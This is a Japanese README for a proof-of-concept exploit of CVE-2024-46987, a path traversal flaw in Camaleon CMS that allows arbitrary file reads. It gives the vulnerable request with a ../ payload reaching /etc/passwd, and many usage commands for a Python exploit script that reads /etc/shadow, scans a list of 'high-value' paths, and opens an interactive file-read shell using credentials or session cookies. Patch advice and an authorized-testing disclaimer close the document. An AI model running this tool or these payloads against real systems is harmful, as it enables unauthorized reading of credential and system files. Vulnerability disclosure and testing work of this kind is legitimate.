
CVE-2024-46987 の PoC エクスプロイト — Camaleon CMS の任意パス横断(ファイル読み取り)
| フィールド | 詳細 |
|---|
| CVE | CVE-2024-46987 |
| 製品 | Camaleon CMS |
| バージョン | >= 2.8.0, < 2.8.2 (2.9.0でも確認済み) |
| タイプ | パストラバーサル / 任意ファイル読み取り (CWE-22) |
| 認証 | 必須 (任意の低権限アカウント) |
| CVSS | 7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| 修正版 | 2.8.2 |
MediaController#download_private_file は、params[:file] をサニタイズせずに fetch_file に渡します:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
値が send_file で使用される前にパスの正規化が適用されないため、認証された攻撃者は ../ シーケンスを使用して private/ ディレクトリから脱出し、Rails プロセスがアクセス権限を持つ任意のファイルを読み取ることができます。
脆弱なエンドポイント:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests ライブラリpip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# /etc/passwd を読み取り (デフォルト)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# 特定のファイルを読み取り
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# 高価値パスの組み込みリストをスキャン
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# 対話型ファイル読み取りシェル
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# 単一ファイル
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# 対話型シェル
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| フラグ | 説明 |
|---|---|
-u | ターゲットのベースURL |
-U / -P | CMSのユーザー名とパスワード |
--cookie | 生のクッキー文字列 (資格情報の代替) |
-f | 読み取るファイルパス (デフォルト: /etc/passwd) |
-d | トラバーサル深度 — 前置する ../ の数 (デフォルト: 10) |
--interesting | 組み込みの高価値パスリストを反復処理 |
--interactive | 対話型ファイル読み取りシェル |
--no-verify | TLS証明書の検証を無効化 |
--debug | 認証失敗の診断用に詳細出力 |
/proc 疑似ファイルについての注意/proc/self/ 以下のファイル (例:environ、cmdline) は HTTP 200 を返しますが、本文は空です。これは予期された動作です — カーネルがそれらのサイズを 0 として報告するため、Rails の send_file は何もストリームしません。代わりに通常のフラットファイルを使用してください。
Camaleon CMS を バージョン 2.8.2 以降 にアップグレードしてください。パッチは適切なパス正規化を追加し、send_file を呼び出す前に解決されたパスが意図されたディレクトリ内に留まることを保証します。
または:
.. シーケンスを含む入力を拒否する。この概念実証は、教育目的およびセキュリティ専門家が許可されたテスト環境で脆弱性を理解し再現するのを支援するために公開されています。著者は悪用に対する責任を負いません。所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。